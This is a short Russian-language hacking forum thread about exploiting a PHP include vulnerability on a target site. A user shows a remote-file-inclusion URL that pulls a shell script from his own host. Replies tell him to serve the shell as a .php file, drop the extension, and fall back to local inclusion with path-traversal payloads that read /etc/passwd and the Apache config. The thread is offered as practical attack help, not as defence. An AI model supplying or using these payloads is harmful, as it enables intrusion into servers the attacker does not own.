![]() |
инклуд
вот чтоу меня получилось:
запрос допустим такой- http://www.target.com/index1.php?pag....com/shell.txt в браузере вижу - Warning: Failed opening './http://mypage.org/shell.txt' for inclusion (include_path='.:/usr/share/pear:/home/httpd/phplib') in /home/target/public_html/index1.php on line 63 ./ - возможно ли как-то обойти, чтобы заинклудить файл/скрипт/что_нибудь_ещё? Не гнобите сильно, если это проскакивает тут в стотысячный раз ) |
шелл нужно заливать на сайт с расширением php (!) А не с тхт - он выполнятся должен, а серевер на котором возможно есть инклуд, воспринимает его как обычный текстовик.
И еще на конце не нужно писать расширение пхп - http://mypage.com/shell если не катит то можно попробыва добавить его - в разных системах по разному ;) |
Нет, ./ не обойти. В твоем случае можно выполнять лишь локальный инклуд
|
попробуй
__http://www.target.com/index1.php?page=../../../etc/passwd Если пройдёт то __http://www.target.com/index1.php?page=../../../etc/apache/httpd.conf |
Цитата:
[offtop] ну почему у меня ник темно-зеленый, а у лимпопо - светло-зеленый? [/offtop] |
Цитата:
|
Цитата:
наверное статьи аля 80х, где цель всегда passwd, оставили свой след... |
Цитата:
Пробовал впервую очередь, всё равно добавляет это злобное ./ ( |
[offtop]
Trinux он же и в МОА ив АМА [/offtop] |
| Время: 03:54 |